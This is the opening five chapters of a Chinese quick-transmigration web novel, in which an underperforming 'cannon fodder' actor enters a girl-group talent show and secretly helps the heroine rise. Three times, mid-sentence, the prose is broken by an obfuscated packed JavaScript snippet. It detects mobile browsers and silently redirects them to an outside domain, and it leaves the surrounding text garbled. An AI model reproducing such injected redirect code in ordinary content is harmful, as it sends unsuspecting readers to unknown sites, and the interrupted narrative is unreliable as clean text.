《金牌炮灰，在线崩书[快穿]》 1. 选秀第1天 “哇，我们的宿舍到了，好漂亮啊。” “是啊是啊，D班的宿舍也这么好看吗。” “D班的绿色象征着生机，我一直都很喜欢，不过最喜欢的还是粉色啦。” 这里是国民大热选秀综艺《创星101》的女生宿舍，走廊里到处都是少女们的欢声笑语。 一片白雾后，顾菀眨了眨眼睛，看清了眼前的场景。 顾菀，一个快穿局炮灰分部的炮灰扮演者，入职一年，业绩极为惨淡。 在各个小说世界里，总有一些炮灰不甘心白白丧命，想要跳脱出剧情、一跃成为主角，一旦成功，便会导致世界的崩塌。 她的工作，就是代替这些炮灰去完成剧情，保证小说顺利发展下去，维护小说主角的地位，从而维持该世界的稳定。 入职一年来，她始终兢兢业业，发挥着她精湛的演技，成功把她接到的十个任务全做成了失败。 以至于差点被开除。 她去快穿局续约的那天，快穿系统更是集体请假，生怕自己被选中。 最终，还是快穿局给她强制绑定了一个新出厂的炮灰系统。 这是新系统给她挑选的第一个世界，考虑到她的名声，特意选择了最简单的D级任务。 顾菀推着自己的行李箱，跟着人流往前走，脑海中接收着这个世界的剧情。 这是一篇娱乐圈大女主文，女主小白花，剧情傻白甜。全文近百万字，讲述了女主温向晴，在家破人亡后，如何凭借努力成为一代顶流。 而现在，正是剧情初期，女主被星探发现后，被送去了一个女团选秀节目。 几个月后，温向晴将在这个节目中C位出道，踏上她苏爽的娱乐圈征途。 顾菀要扮演的角色，是女主选秀时期的室友，一个空有长相、脑子太不行的炮灰。 作为女主坦荡星途上的第一个炮灰，顾菀要做的事情非常简单：时不时就去嘲讽一下女主，或被女主疯狂打脸，或被粉丝集体唾骂，然后等着女主的影帝男友出手报复，最终被全民网暴至退赛。 她绑定的104号炮灰系统是第一次做投入使用，工作态度极为积极，很快就将整本小说筛选了一遍，把顾菀出镜的戏份列了出来。 顾菀扫了一眼，果然只有零星几段描述，不由得在心中长舒了一口气。 就在她感叹着D级任务会不会太简单时，冰冷的程序警示音在她脑中响起： 【宿主请注意，已进入剧情，请尽快完成任务：奚落温向晴】 她连忙在脑中调出接下来要走的剧情片段： 【……温向晴正复盘着自己场上的表现，一抬头才发现走到了宿舍门口。 其他三个舍友已经在收拾东西了，她微笑着打了个招呼，换来舍友们友好的问候。 初评级结束后，她们要在宿舍换上班级服装，半小时后回到教室继续上课。 女孩们一边收拾东西一边聊天，欢快的气氛充满了宿舍。 然而，当录制暂停后，气氛突然就变了，刺耳的奚落声一句接一句地传来……】 接下去就是顾菀的戏份了。她迅速进入工作状态，敬业地背起了台词。 此时，温向晴已经推着行李箱走进了房间，她穿着一条素净的棉质白裙，简单做了个自我介绍，笑靥如花。 另外两个舍友选择了靠窗的床位，听到声音便纷纷回过头来热情地回应了她——房间内装有摄像头，现在还处于拍摄状态，在镜头下多一点积极，就意味着多一个吸粉的机会。 反倒是顾菀，她只想着要完成【奚落女主】的任务，到现在还在酝酿情绪，一时分不出神来。 不过她总归是女主儆猴要杀的鸡，态度冷漠一点肯定也是合理的。 果然，温向晴对她一副不甚在意的样子，径直走到自己的床位前，收拾起了东西。 随着“咔咔”两声，摄像头全部关闭，顾菀打起了十二分的精神，准备用最恶毒的语气念出她的台词…… 然后惨遭截胡。 要不是一个世界只会有一名工作者，她都要怀疑那两个舍友是不是她同事了，念起剧本来，居然比她还积极，几乎是摄像头刚一关上，便开了口： “现在娱乐圈门槛是真的低，有张脸就能进了，要我说，还学声乐舞蹈干嘛，攒钱去整容呀。” “初舞台忘了动作居然没去F班，这后台可见一斑，只有我们这种老实训练生最惨了。” “就怕人家认不清自己的实力，还说什么目标是出道……” 顾菀原本想着，三句台词、三个人，刚好一人一句，抢不到第一、第二句，第三句总是她的吧？ 没想到的是，另外两位炮灰，居然你一言我一语地聊着天，把原著上写的话全说完了。 顾菀做任务一年了，还是第一次碰到这种三个炮灰同台竞技的事情，一时间有些发懵。 104系统也在她脑中焦急地催促着她：“宿主你快开口说句话啊，任务马上要截止了！” 眼看着温向晴攥紧了手心，轻声回应着：“我会努力的。” 一双倔强的明眸，紧抿的嘴唇，纤细瘦弱，妥妥的小白花模样。 顾菀急中生智，她冷笑一声，回怼道：“这个世界上有的太多事情，都不是努力就可以做到的。还没站上高位就开始谈努力了，你不觉得可笑吗？” 下一秒，她的脑中便响起了【任务完成，积分+3】的程序提示音。 系统惊喜道：“原来还能这样完成，宿主好厉害！” ……虽然感觉压根不够恶毒。 “对吧。”旗开得胜的顾菀被系统夸得有些得意，她在心中松了口气，强调道，“都跟你说了过去的失败全是意外，要相信我的实力。只要我们宿统一心，我们就是这个！” 她说着，竖起大拇指比了个赞。 正给系统稳固着军心，广播中传来了集合的通知。 顾菀向来不喜欢侵略性强的环境，因此第一时间离开了宿舍。 这也是身为炮灰最大的好处了，只要剧情里没有她，她就可以自由行动。 温向晴到得最晚，被落在了最后。 她从一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112511|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显掉了漆的行李箱中取出了几件被洗到发白的衣物，心中有些庆幸——还好这个节目包吃包住还发衣服。 其实刚刚那些话，她并没有往心里去。 自从温家破产、父母去世后，这种话她听得还少吗？更难听的她都听过。 只是，她忍不住想起了那个住在她对面的舍友，锁上行李箱的动作也放缓了。 顾菀全程冷着一张脸，一看就知道是个不好相处的人，就连话语，也透着几分薄凉。 可她刚刚又为什么要向自己悄悄竖起大拇指呢？ 重复响起的广播声打断了她的思路，温向晴稳了稳心神，匆匆向教室赶去。 初舞台评比结束后，101位少女按照五个等级分好班，准备迎接新的挑战。 看着眼前荧幕上赫然弹出的“主题曲”三个字，台下的女孩们刚要兴奋地欢呼出声，就听节目制作人说，要在48小时内学会。 顿时，教室里哀嚎一片。 等看完舞蹈导师徐敏的示范视频后，哀嚎声就更大了。 “徐敏老师果然是国内第一dancer，跳得又性感又可爱，换上我个三等残废，这还能看吗？” “这动作太复杂了，两天时间，我连舞都扒不完吧？” “你别说舞了，我连歌词都背不下来。” 女孩们叽叽喳喳地说着话，讨论着曲目的难度。 《创星101》是国内引进的第一档选秀综艺节目，大多数观众都是第一次接触这个模式，也开始在弹幕上议论纷纷。 【48小时学完确实有点强人所难，到时候估计呈现不出好的效果。】 【选秀就是要选出能力最强的，哪哪都不行做什么女团？】 【有人知道那个扎红绳的姐姐是谁吗？小表情很戳人啊。】 节目在录制的同时也会进行全程直播，选手们自然会抓住每一个机会表现自己。 这样既能丰富直播效果，也能提高自身存在感，这是爱豆们的敬业。 而顾菀作为炮灰，同样也很敬业。 她极有炮灰的自觉性，全程低调地站在教室的最后方，一言不发，享受着没有任务需要做的划水时光。 倒也不是她不想营业，但她的绩效是按照指标达成情况来计算的。 就比如这个世界，除去日常完成剧情可以获得少量积分外，在世界完成时，还会根据女主的走红程度进行积分结算。 炮灰和女主就是死对头一般的存在，别说让她活跃起来和女主抢人气了——她巴不得女主踩着她一步登天，积分赚得盆满钵满。 谁知，她居然被人主动搭话了。 “顾菀！”站在顾菀前边的王安琳转过身来，语气亲昵地笑道，“我们几个里就数你舞蹈最弱了，哎，小颜你看，顾菀都愁到说不出话了。” 突然被cue的顾菀微微一愣，她刚刚好像连眉头都没皱一下，怎么就看出她愁了。 缺少经验的她自然不知道，天花板中央处有个摄像头，正对着教室后方，能完完整整地把她们的表情还有声音给录进去。 2. 选秀第2天 为了方便顾菀做出判断，104号炮灰系统对原著进行了全面翻阅，半秒钟后，它才好不容易从一个犄角旮旯中找到了关于这两个人的描述，传输给了顾菀。 王安琳和颜悠悠就是她们宿舍的另外两个舍友。她们和顾菀过去隶属于同一个练习生团体，因为初舞台时同被评为D级，便被安排进了同一个宿舍。 顾菀明白了，这是在邀请她抱团，经营好姐妹人设。 很可惜，她是一个恶毒炮灰，利用一切机会给女主铺路才是她的工作。 金牌炮灰顾菀眨眼间就想到了策略，她露出了一个稍显疑惑的表情，故意放大了声音：“哦，很难吗？” 话音刚落，直播弹幕上便刷过了一排问号。 【专业团队联合操刀的编舞，你说呢？】 【大家都喊难，就你说简单，打肿脸充胖子？】 【这个妹妹有点狂，还以为是哪路大神，定睛一看原来是D班的！】 成片的弹幕滑过，大部分都是在嘲笑顾菀不自量力。 另一边，接收到信息反馈的导演眯了眯眼。 这个顾菀，其实一直都是他的重点关注对象——只不过是反向关注。 报名表交上来的时候，家庭情况那一栏，赫然填了个“孤儿”，吓得他赶紧往上头打电话请示。 顾家老爷子说，可以让她先玩一玩，到时候多吃点苦头，也好知道回家。 想到这，导演挥了挥手，吩咐摄影师把镜头对准了顾菀，同时通过耳麦让节目制作人临时增加一个环节。 反正是老爷子吩咐的，观众也喜闻乐见，一箭双雕的事情为什么不做？ 对于这些情况，顾菀一无所知。 她只想做个降智人设，一边给女主提供才艺展示的机会，一边达成排挤女主的剧情。 顾菀微微一笑，她清了清嗓子，正想说些什么来引出温向晴，就听麦克风传来了声音。 是节目制作人在活跃气氛：“站在最后的那位同学，听说你觉得我们的主题曲很简单，能请你上来为我们展示一下吗？” 笑容，僵住了。 直播弹幕果然沸腾了起来，清一色地期待着她出丑。 【哈哈哈哈要来了要来了，爷最爱的打脸环节要来了。】 ？ 等等，别急啊，她这不正要推荐人选吗？？ 被点到的顾菀同学表面勉强维持着淡定，背地里已经在疯狂翻原著了。 “哎，宿主，别翻了，最近两天都没有你的戏份，你还是自由发挥吧。”104系统在边上小声说着，“明明刚才还说要做降智人设的呢。” 听系统这么一提，顾菀瞬间就冷静下来了。 对啊，炮灰的宗旨是什么来着——一切为了女主！ 只看过一遍的舞蹈要她跳出来，那是绝对不可能的，但女主可以呀。 要知道，这是一本大女主爽文，原著里的女主，那可是神挡杀神、佛挡杀佛的存在。 唱跳、rap、创作、演技、综艺，就没有她拿不了第一的，对于普通人来说高难度的事情，在女主光环面前肯定不堪一击。 而炮灰的作用是什么？不就是给女主做垫背吗？ 没有对比就没有伤害，先让炮灰当众出丑，更能凸显女主的惊艳全场！ 这票干完，至少能攒个10分吧！ 想到这，顾菀对节目组都带上了一份感激。 节目制作人何尧是国内知名男团的ace，出道多年，深知爱豆成长之路的艰辛，因而一直对后辈们多有提携。 他接到导演的安排时还觉得导演不厚道，结果顾菀却落落大方地应了下来，脸上还挂着笑容。 看来心理素质极佳，是吃娱乐圈这碗饭的料。 何尧生出几分爱才之心，好心地提点道：“顾菀对吧？我记得你海选的时候写自己的优势是vocal，喜欢抒情，舞蹈方面似乎比较薄弱？” 原主在初舞台评级中是团里的边缘角色，基本没有展示的空间，再加上导演的事先敲打，何尧一直不知道她的实力。 “是这样的，不过我们村的广场舞都是我来领舞的，这算不算舞台经验丰富？” 顾菀并不知道原主的家庭背景如何，不过反正观众也不知道，那就由着她说咯。 倒是全场那个唯一知道实情的人，原本正惬意地喝着枸杞茶，听了这话，差点被呛到。 顾菀继续道：“主题曲现在还没学，我肯定是跳不好的，不过我看大家的情绪似乎比较低迷，那我就来献个丑，鼓鼓士气！” 台下练习生：……哭难只是为了表现谦逊和找镜头谢谢，并不低迷，也不需要你鼓舞好吗？ 不过想想她一会儿的难堪，大家瞬间就释然了。 一个D班的选手能跳得多好？镜头给得再多，也只会被全网嘲罢了。 温向晴到得晚，此时正站在教室的角落里，一双明亮的眸子看向顾菀。 她初入娱乐圈，却也知道明星都应该爱惜自己的羽毛。 顾菀突然就被叫上台，想必节目组巴不得她出洋相，能好好在微博上嘲一波。 这样一来，节目是有了免费宣传，但顾菀自己怕是甩不掉这个黑历史了。 顾菀朝工作人员打了个响指，随即原地站立，等待音乐响起。 她蓦然感受到了女主的目光，便坦然地朝女主回望过去，露出了一个意味不明的笑容：大人，您的人头已送到，请注意查收。 温向晴一怔，不知为何想起了在宿舍的事情，便笑着给顾菀比了一个大拇指，引得直播弹幕中一群颜粉沸腾了起来。 【我天我天我天，阿晴太好看了！她朝我竖大拇指她击中了我她要对我负责！！】 温向晴是素人出身，虽然在初舞台上靠着女主光环狠狠吸了一波粉，但粉丝基础太差，暂时泛不起多大的水花。 因此，随着音乐的响起，弹幕的主题很快就转变了。 顾菀不知道的是，炮灰原主有着扎实的舞蹈功底。 对于一个跳了十几年舞的人来说 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导演的面色一时间不好看了起来。 在他的设想里，顾菀应该在音乐里尴尬地站个一分钟，然后何尧上去打圆场，后期剪辑时再配个打脸的特效，观众喜闻乐见。 结果人家还真全程跳了下来，又乱又嗨，偏偏动作连贯，直播观众看得也开心，活生生成了一次showtime，就连现场气氛都被带动得热络了起来。 他刚刚去超话翻了翻，顾菀这段舞跳得直接刷了屏，估计过不了多久就可以爬上热搜。 即使他在节目中把这一段全剪掉，也没办法挡住粉丝的口口相传。 但他毕竟是综艺界的王牌导演，这点情况真算不了什么。 “强调一下她跳得不好是正常的，把教学视频再放一遍，然后叫几个A班的上。” A班的，是指初舞台中表现最佳的11个女生。 她们都是各大公司培养多年的练习生，在实力、人气、经验各方面，都远远超过了其他大部分选手。 此时，她们一看何尧要重播教学视频，立马就明白了节目组的意图—— 这是要继续点人的意思。 教室里瞬间安静了下来。 所有人都在聚精会神地盯着视频，努力去把每一个舞蹈动作分解开来、刻在脑子里。 但毕竟曲目难度在那，哪里是看两遍就能完美复刻的呢？ 几个主动请缨的dancer都只是勉强跳完。虽然跳得比顾菀标准了许多，但因为过于强调精准度，在动作的衔接上反倒不如顾菀自然。 不过，她们在参加选秀前就有着不小的热度，自带不错的粉丝基础，光是一站上场，弹幕就能刷一次屏了，偶尔会有几个观众小声逼逼“感觉没有顾菀跳得好看”，也会当场被怼回去。 站在一旁看热闹的顾菀浑然不知自己已经有了路人粉——并且马上就要被她败光了。 3. 选秀第3天 顾菀四处看了看，发现已经没有人想尝试了，便连忙举起了手：“何导师！我还有个推荐人选！” 瞬间，全场的目光聚焦在她身上，敬业的摄影师也把镜头往她那边推了推。 “我有一个非常有舞蹈天赋的舍友……” 话语一出，王安琳和颜悠悠赶紧往人群里站了站：我透，这小妮子不会想害她们吧？？ 顾菀却将目光向后投，落在了温向晴的身上：“她虽然才18岁，但已经习舞14年了。她热爱舞蹈，再艰难的日子里也没有放弃过练习，我相信她一定可以跳好。对吧，阿晴？” 镜头继续推进，温向晴精致的面庞映在屏幕上，肉眼可见地瞬间一片惨白，并且极快地把头撇开了。 柔弱而美丽的样子，让人没办法不心生怜悯。 作为国内第一部新型女团选秀节目，写剧本的说法也还没有兴起，因此，比起“竞争”，观众还是更爱看“团魂”的。 顾菀的话语如同一石激起千层浪，恰好触中了观众讨厌的点。 看看温向晴衣服的颜色，再看看温向晴脸上的颜色，这还能不明白吗？ 人家根本不愿意去跳，cue上去想让人家出丑是吧？ 弹幕里已经有温向晴的粉丝开骂了： 【这个顾菀有毛病吗，自己跳得一个鬼样子，还要拉阿晴下水？？】 正义路人也开腔了： 【温向晴是D班的啊，一群A班的大佬刚跳完，就喊D班同学上，顾菀其心可诛。】 【美女真惨，脸都白了，白了也美。感谢gw，让我在人群中找到了新的心动妹妹。】 温向晴并不担心舞蹈方面的事情，毕竟顾菀说得没错，她从四岁就开始学舞了。 她无比热爱舞台表演，为此也不懈努力了许多年，如果不是父母出事，她现在应该已经拿到首都舞蹈大学的录取通知书了。 而她一瞬间的失神，恰恰就是因为顾菀说的那句话。 在宿舍时她就感觉到了，顾菀是一个很别扭的人。 明明话语里和表情上都处处透着疏离，却常常用眼神和动作鼓励她。 就像是一个很熟悉的人偏偏要在人前和你装陌生。 她确信自己没有被新闻拍到过，而且出事的时候她未成年，就连名字也没有被披露出来。 即使是猜测，为什么可以猜到14年这么准确？“艰难的日子”是指破产后流离失所的日子吗？ 为什么顾菀会知道这些？还帮她争取展示才艺的机会…… 温向晴强压下心中的疑问，努力地收敛起了情绪，走上台站定。 她的目光飞快地在场上扫了一遍，确定了摄像头只能从侧边拍到她，放在身后攥紧的手这才缓缓松开，面上也终于浮现起了轻柔的笑。 一副清丽绝尘的样子，瞬间吸来了一波颜粉。 真好看啊。顾菀站在台下连连赞叹，就差露出痴汉笑了。 她眨眨眼，从系统中调出了操控面板。 女主的走红程度是以进度条的格式存在于系统中的，随时可以查看。 果然女主就是女主，只是在直播里多了一个镜头，就让进度条直接往前挪了一小格，妥妥的吸金利器！ 顾菀满脸欣慰地看向温向晴，仿佛在看一个高效率积分开采器。 她悄悄伸出双手放在了脸侧，给温向晴狠狠比了两个赞，眼里几乎要迸射出光来。 一切正如顾菀意料中的顺利。 以温向晴的实力、容貌和光环，她可以让任何一个地方瞬间变为她的舞台。 虽然这一年以来，她因为意外被迫辍学，终日奔波，但闲暇时候还是会选择跳舞、赏舞来放松。 十余年的古典舞和拉丁基础，加上她异禀的天赋，区区女团舞真的算不上什么——不过是一些基础动作的变化组合罢了。 只要…… 只要镜头不要直直对着她。 温向晴一舞结束，以深鞠躬作为endingpose，又吸来了一大波好感。 明明只是不加任何特效的直播镜头，却完美得像是一场彩排已久的演出。 弹幕被各种彩虹屁刷屏，微博上的新热度也开始节节攀升。 大家纷纷一边舔屏，一边遗憾着为什么没有高质量的镜头拍摄。 当然，偶尔也会有几句非常扫兴的话： 【额#擦汗，所以刚刚骂顾菀的人能出来道个歉吗？我早说了，她们一看就关系很好，明显是在给好姐妹谋机会啊。】 道你妹啊！阿晴独自美丽！cp粉能不能滚粗！ 温向晴超话小主持火速上线修改公告： 【禁止以任何形式提及其他艺人！】 小插曲结束后，就要正式开启主题曲练习了。 《创星101》的同名主题曲，是一首洋溢青春、追逐梦想的曲目。为了展现少女的元气，歌曲音调高，舞蹈节奏快。 虽然不算难，但加上了48小时这个限制，没有人敢保证自己能够完美呈现。 主题曲考核会对所有人进行重新评级，并且会在新A班的11位选手中选出C位。 作为节目的第一个C位，不仅可以在MV录制时拥有最多、最独特的镜头，还能追加商业合作。 更何况，这是最后一个完全不看热度，只看实力的机会。 D班的温向晴让她们见识到了什么叫藏龙卧虎，少女们不敢喊累，一个个都卯足了劲，抓紧练习。 噢，除了顾菀。 虽然D班学生的能力不是拔尖的，但胜在人少，教学效率不算低。 花了一个下午，声乐老师教完了歌，舞蹈老师顺完了舞，剩下的时间，就让学生自己训练了。 顾菀从小就深谙划水之道，能躺着就绝不会站着。 没有任务的她站在了离老师最远的角落里，倍感枯燥地划着水，好不容易才划到了饭点。 她看了看教室里还在反复练习的同学，悄悄摸着墙走出了教室。 其他班也没有人出来，食堂里静悄悄的，去窗口打饭时，食堂阿姨甚至露出了略带诧异的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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在节目中期，女主曾发现原身偷偷离开过大部队；直到事后有人爆料，女主才知道原身是去寻求潜规则。 试问，这样的拼搏也叫拼搏吗？ 顾菀不知道原身最终是靠什么能力留在这个舞台上的，但现在，掌控这具身体的人是她，她就要尽量避开这个剧情点。 与推动剧情有关的任务，她无可奈何；但这种只关系到炮灰本身的设定，她当然有决定权。 深夜一点，顾菀拖着疲惫的身躯从浴室走出来。 她身体向来不好，因此一直保持着规律作息，一到点就犯困。 她刚刚在教室练了一整晚，现在只觉得精疲力竭，沾床就能睡。 结果回到宿舍一看，三个舍友居然都不在。穿着睡衣的顾菀站在床前想了想，用力拍了拍自己的脸，换上衣服就往教室走。 原著里原身会在比赛后期自食恶果，所有黑料都被披露出来。 其中一条，便是指控她通过黑幕参赛——父母双亡，练习时长不超过半个月的空降练习生，凭什么通过海选、走到36强？ 绝大部分练习生都有过长期集训，而顾菀什么都不会。 她又不想找后台，就只能放弃睡眠咯。 4. 选秀第4天 大楼里灯火通明。 顾菀穿过了两个极为热闹的教室，向前继续走着。 她来之前翻过原著，这是A班和C班。 A班有好几个出色的舞担，学有余力的时候会热心教学其他同学。 节目组为了考验选手的自学能力，分配的老师教完之后就当起了甩手掌柜，视频又看得不直观，A班有一带一学习的事情自然很快就传开了，现在已经变成一带多了。 直播间的观众们已经截取了好几段视频贴在微博上，#李棠羽老师不下班#也被刷上了热搜。 路人们纷纷表扬起李棠羽的善良，说着渠道一开，肯定给李老师投一票。 C班本身人就多，还有一个遗落的明珠、全能ace柳知荷在煲鸡汤。 她给队友们加油鼓劲、挨个教学，感动得全体C班同学热血沸腾，晚饭随便嚯两口就回来练通宵了。 柳知荷以前就在邻国出道过，粉丝基数和路人缘都极好，公司也舍得花钱。她的热搜#柳知荷：C班是C位的C#在热门前几飘了好一会儿，节目还没开始，就吸来了又一波粉。 这种铁定要被后期大段剪辑的地方，炮灰肯定是不能去的。 原著说D班只有两个人，空间充足、环境安逸，就连直播间都没啥人蹲，明显更适合她。 顾菀兴冲冲地推开门，就看到了站在镜子前跟着伴奏边唱边跳的温向晴。 ……怎会如此。 “原著是从女主视角写的，就是因为有她在，所以才能清楚地知道教室里有几个人啊。”104系统在她耳边小声解释，“宿主你快点进去吧，不然教室里少一个人，就不符合剧情了。” 顾菀懂了，这是要加班。 她一秒入戏，木着张脸走进了教室，心里琢磨着怎么帮女主也吸点粉。 温向晴注意到了来人，下意识地把视频音量调低，停下了跟唱。 节目组虽然放了许多平板电脑在练习室里供选手使用，但没有配耳机。 温向晴一年前买的耳机全部被收走、拿去拍卖了；后来她挑了副最便宜的地摊货，却好巧不巧地在下午坏掉了。 温向晴抱着平板划拉了一下屏幕，突然就想到了白天的事情。 她的视线飘忽了起来，渐渐飘到了落地镜里的人身上。 顾菀连上了蓝牙耳机，正对着视频校对着动作。 副歌部分开头有一个转身张手的动作，她做了几次都感觉不太对。 这个世界真是太落后了，搞个vr不行吗！视频哪看得清楚啊。 就在她纠结着要不要去隔壁A班找同学问问的时候，身后传来了一道清甜的声音。 “肩膀要画一个圈。” 温向晴突然向她走来，目光微闪，“手收回来后，先把这里往上提一下，然后再打开，会自然很多。” 温向晴说着就自己做了个示范，一双手纤长柔软，动作流畅漂亮，不愧是古典舞出身的。 顾菀下意识就跟着做了一下，果然顺畅了许多。 她刚想道谢，又觉得有哪里不太对。 她可是恶毒炮灰啊，怎么可以和女主有交情！ 于是，顾菀当即收紧了面色，严词拒绝：“温向晴，你还记得我们是竞争对手吗？” 明明上一秒还在认真学习、乖萌乖萌的，怎么突然变得这么严肃。 温向晴的眼睛眨了眨，忍住笑：“这时候不叫阿晴了？” 旁听的炮灰系统都看不下去了，敲了敲顾菀：“宿主，你到底有没有好好研读原著？女主正是要立人设的时候，你怎么可以妨碍她？” 说着，它就火速翻出了一个段落。 顾菀看了看，是选秀期间来助阵的影帝男主吹的一段彩虹屁，说女主人美心善、无私帮助队友什么的。 完了，被系统批评业务能力过差的顾菀赶紧挽回。 她有些尴尬地鼓了鼓脸，眼睛往其他地方瞟，语气中带着一些生硬：“好吧……那阿晴，所以这两个拍子是各占了一半吗？” “噗嗤——”温向晴这下忍不住了。 她算是看出来了。 原来这是个傲娇啊。 还挺可爱的。 温向晴笑了好一会儿才收住，上前两步开始教学。 勤恳敬业的顾菀一直加班到了凌晨四点。 温向晴是素人出身，没有公司给她买热搜、买水军，初舞台吸来的粉丝后援会也才刚成立两天。 “带全班一同努力”和“耐心指导后进生”的人设还都被拿走了，为了把女主的人设做得有特色，顾菀不可谓不煞费苦心。 一方面，她要发挥勤学好问的精神，让温向晴把耐心施教和深厚实力都在镜头前展示出来；另一方面，她又要时刻注意着自己的身份，作为一个排挤女主的恶毒炮灰，她要在教学结束后，狠狠给女主摆臭脸。 接受完别人的恩惠就翻脸不认人，只要这段被贴上了网，炮灰一定能吸来一波骂，同时帮助女主虐粉提纯。 原著里写了，女主是个正直善良的小白花，对待朋友十分真诚。 而她面上和女主交好，背后给女主捅刀子，正好可以推动剧情发展，给女主丰富“美惨强”人设的“惨”。 顾菀按照心中的计划，用一整段舞蹈骚扰了温向晴一整晚，直到她实在问不出什么刁钻问题了才作罢。 回去后一查看进度条，人气攀升速度果然加快了。 炮灰系统功能受限，比赛期间又被没收了手机，因而，她并不知道这波人气的来源，也不知道微博上新注册了一个cp超话“固晚向晴”，正凭借着一腔热爱，招兵买马、分配工作。 通宵加班的代价，会延迟到第二天支付。 早晨七点，宿舍的广播准时响起，开始循环播放《创星101》主题曲。 如果想要毁掉一首歌，那就把它设成闹铃。 这就是顾菀现在的心情。 她痛苦地用被子蒙住头，小脸皱成了一团，企图多睡一分钟，结果下一秒就听见选管在走廊上把门敲得砰砰响。 顾菀艰难地起身，在混沌的脑子里和系统对话：“大人，以后能不能不要安排这种无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112514|179946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法拥有充足睡眠的世界。” 要知道，睡眠质量和工作效率是挂钩的，困意缠身的时候，D级任务会瞬间被拔高为S级任务。 “宿主，女主可是天亮后才在练习室睡下的……” “所以她才是女主啊！”顾菀哭丧着脸打断。 “宿主也可以做到的。”炮灰系统提醒道，“商城里有许多永久性的增益道具，宿主目前的积分可以兑换一个，使用后，做任务会轻松许多。” 顾菀撇撇嘴。 她当然知道了。 快穿局不光福利待遇好，炮灰分部更是拥有独一无二的积分商城，里面不乏灵丹妙药、奇珍异宝。 许多同行基本都是一有积分就会兑掉，巴不得第一时间提升自己。 但顾菀不可以。 她扫了一眼商城，首页上赫然就是那个“镇局之宝”——价值一万积分的灵药，可以治愈一切伤病。 那也是她选择这份工作的原因。 她一年来只攒了一百多点积分，本就少得可怜了，怎么敢浪费。 顾菀顶着熊猫眼，靠坐在D班教室的角落里，半闭着眼睛吧嗒吧嗒喝着豆浆，面上平静无波，心里痛哭流涕。 “好吧。”系统妥协了，“你再撑一个月，下个世界我一定给你挑一个躺平就能完成的。” 大饼一画，顾菀感觉大脑瞬间就被充上了电，一脸满意地拧上了豆浆盖子，拿起歌词卡开始练歌。 正如何尧说的那样，她还真的是个vocal。 原主的声乐底子不是一般的好，音色动人，音准节奏也极佳，她坐在角落试着唱了两遍，就有练习生来夸她了。 “顾菀，你唱歌也太好听了吧。” “是啊是啊，要是把你唱的主题曲设成闹钟，我肯定不会有起床气。” 别吧，把自己唱的歌做成闹铃，想想她就蔫了。 顾菀因为身体原因，从小就没怎么和人打过交道，突然被夸难免有些害羞。 但转念一想到自己的人设，她立马把微微泛红的脸撇了过去，声音也冷冷的：“也就那样吧。” 教室相对空旷，未经压低的话语轻易就传到了另一侧。 温向晴自从顾菀开始唱时就给手中的平板按了暂停，指尖在腿上轻轻点着，跟着旋律打拍子。 此时，她听着顾菀僵硬的话语，不自觉地弯了弯眼睛。 蹲在D班直播间里的，基本上是几个人的真爱粉，冷清的弹幕上小小地开了场战： 【妈呀莫名的甜。我错了，这不是菀姐，是菀妹啊！】 【就是菀妹！姐妹你是不是没看昨晚的直播，阿晴教她跳舞的时候，完全就是一个乖巧小学妹！录屏指路xxxx，谁看了不觉得好嗑呢！】 【刚刚她唱歌的时候阿晴听得可认真了，一大早就让我嗑昏头这真的好吗！】 【cp粉是不是有毛病？阿晴都坐那么远了还能yy上，建议去挂个眼科哈。】 【刚补过视频的人来说一句，昨晚是真的甜！没看过的姐妹快！去！看！！（咆哮）】 5. 选秀第5天 顾菀唱完之后自己回味了一下，突然觉得有些不对劲。 “舞蹈我是一窍不通的，但是歌好不好听还是听得出来的。”顾菀敲了敲系统，“原身的vocal真的这么强吗，我感觉自己的气息好稳啊，发声的音色也比平常说话时的好听。” “……你就这么不要脸地夸自己？”系统嘴上损着她，却依旧动作麻利地把原著翻了一遍，“小说里对原身的描写真的太少了。但我们从结果来倒推，实力应该不怎么样吧，不然为什么不火？” “也是。原身长得这么好看，有实力还不火的话，简直没天理了。”顾菀若有所思地点了点头。 ……她就这么不要脸地夸自己？系统已经懒得吐槽了。 但很快，顾菀就无暇顾及这种无意义的问题了。 因为好汉跨不过的难关又出现了。 女团的歌舞难度其实单拎出来都不会特别高，最难的地方就在于唱跳的结合，要边唱边跳，还要保证动作的整齐划一。 原身这种一看就没有参加过练习生训练的体质，没跳多久就崩掉了。 “系统，你看我这个表现足够晋级不。” 一直练到了中午，顾菀才上气不接下气地完成了一遍，面色有些凄凉。 “如果你是粉丝，看到这样的表演能坚持看下去吗？”系统无情地反问道。 “……”谢谢，一秒脱粉了。 顾菀又累又饿，她垂头丧气地捡起地上的平板，决定暂时休战。 D班教室本来就没什么人，现在基本都去食堂了，只剩下温向晴还在对着镜子反复练习。 女主不愧是女主，不仅有着超人的天赋、扎实的基础，还是最努力的那个。 顾菀看过原著，她知道温向晴之所以沦落到D班，只是因为她直视镜头时会产生恐惧，从而发挥失常。 一旦温向晴克服了心理障碍，便能一鸣惊人，随着经验的积累渐趋成熟，最终稳坐娱乐圈。 